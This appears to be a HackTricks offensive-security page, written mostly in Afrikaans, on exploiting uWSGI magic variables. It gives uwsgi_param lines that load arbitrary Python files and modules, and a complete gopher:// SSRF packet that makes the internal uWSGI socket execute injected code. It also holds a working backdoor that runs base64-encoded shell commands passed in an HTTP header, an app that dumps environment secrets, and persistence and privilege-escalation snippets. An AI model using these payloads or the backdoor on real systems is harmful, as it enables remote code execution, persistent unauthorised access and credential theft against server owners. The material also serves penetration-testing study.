WSGI Post-Exploitation Tricks
Reading time: 5 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
WSGI Oorsig
Web Server Gateway Interface (WSGI) is 'n spesifikasie wat beskryf hoe 'n webbediener met webtoepassings kommunikeer, en hoe webtoepassings aan mekaar gekoppel kan word om 'n versoek te verwerk. uWSGI is een van die gewildste WSGI-bedieners en word gereeld gebruik om Python-webtoepassings te bedien.
uWSGI Magic Variables Exploitation
uWSGI verskaf spesiale "magic variables" wat gebruik kan word om die bediener se gedrag dinamies te konfigureer. Hierdie variables kan deur HTTP headers gestel word en kan tot ernstige sekuriteitskwesbaarhede lei as dit nie behoorlik gevalideer word nie.
Key Exploitable Variables
UWSGI_FILE
- Arbitrary File Execution
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Hierdie veranderlike laat toe om willekeurige Python-lêers as WSGI-toepassings te laai en uit te voer. As 'n attacker hierdie parameter kan beheer, kan hulle Remote Code Execution (RCE) bereik.
UWSGI_SCRIPT
- Skriplading
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Laai 'n gespesifiseerde skrip as 'n nuwe toepassing. In kombinasie met lêeroplaai of skryfvermoëns, kan dit tot RCE lei.
UWSGI_MODULE
en UWSGI_CALLABLE
- Dynamic Module Loading
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Hierdie parameters laat toe om enige Python-modules te laai en spesifieke funksies daarin aan te roep.
UWSGI_SETENV
- Manipulasie van Omgewingsveranderlikes
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Kan gebruik word om omgewingsveranderlikes te wysig, wat moontlik die toepassing se gedrag beïnvloed of kwaadwillige konfigurasie laai.
UWSGI_PYHOME
- Python Omgewingsmanipulasie
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Verander die Python virtual environment, wat moontlik skadelike pakkette of ander Python-interpreters kan laai.
UWSGI_CHDIR
- Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
Verander die werkende gids voordat versoeke verwerk word, wat gebruik kan word vir path traversal-aanvalle.
SSRF + Gopher na
Die Aanvalsvektor
Wanneer uWSGI via SSRF (Server-Side Request Forgery) toeganklik is, kan aanvallers met die interne uWSGI socket interaksie hê om magic variables uit te buit. Dit is veral gevaarlik wanneer:
- Die toepassing het SSRF kwesbaarhede
- uWSGI loop op 'n interne poort/socket
- Die toepassing valideer nie magic variables behoorlik nie
uWSGI is toeganklik as gevolg van SSRF omdat die konfigurasielêer uwsgi.ini
die volgende bevat: socket = 127.0.0.1:5000
, wat dit vanaf die webtoepassing deur SSRF toeganklik maak.
Uitbuitingsvoorbeeld
Stap 1: Skep kwaadwillige payload
Eerstens, injecteer Python-kode in 'n lêer wat deur die bediener toeganklik is (lêer skryf binne die bediener, die uitbreiding van die lêer maak nie saak nie):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Stap 2: Skep 'n uWSGI-protokolversoek
Gebruik die Gopher-protokol om rou uWSGI-pakkette te stuur:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Hierdie payload:
- Verbind met uWSGI op poort 5000
- Stel
UWSGI_FILE
in om na die kwaadwillige lêer te wys - Dwing uWSGI om die Python-kode te laai en uit te voer
uWSGI Protokolstruktuur
Die uWSGI-protokol gebruik 'n binêre formaat waar:
- Veranderlikes word gekodeer as stringe met 'n lengtevoorvoegsel
- Elke veranderlike het:
[name_length][name][value_length][value]
- Die pakket begin met 'n header wat die totale grootte bevat
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Gebruik dan UWSGI_FILE
om hierdie backdoor te laai:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Omgewingsgebaseerde persistensie
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Inligtingsvrystelling
Uitlees van omgewingsveranderlikes
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Lêerstelseltoegang
Gebruik UWSGI_CHDIR
in kombinasie met lêerdiens om toegang tot sensitiewe lêers te kry:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Privilege Escalation
Socket Manipulation
As uWSGI met elevated privileges loop, attackers kan socket permissions manipuleer:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Konfigurasie Oorskrywing
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Verwysings
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.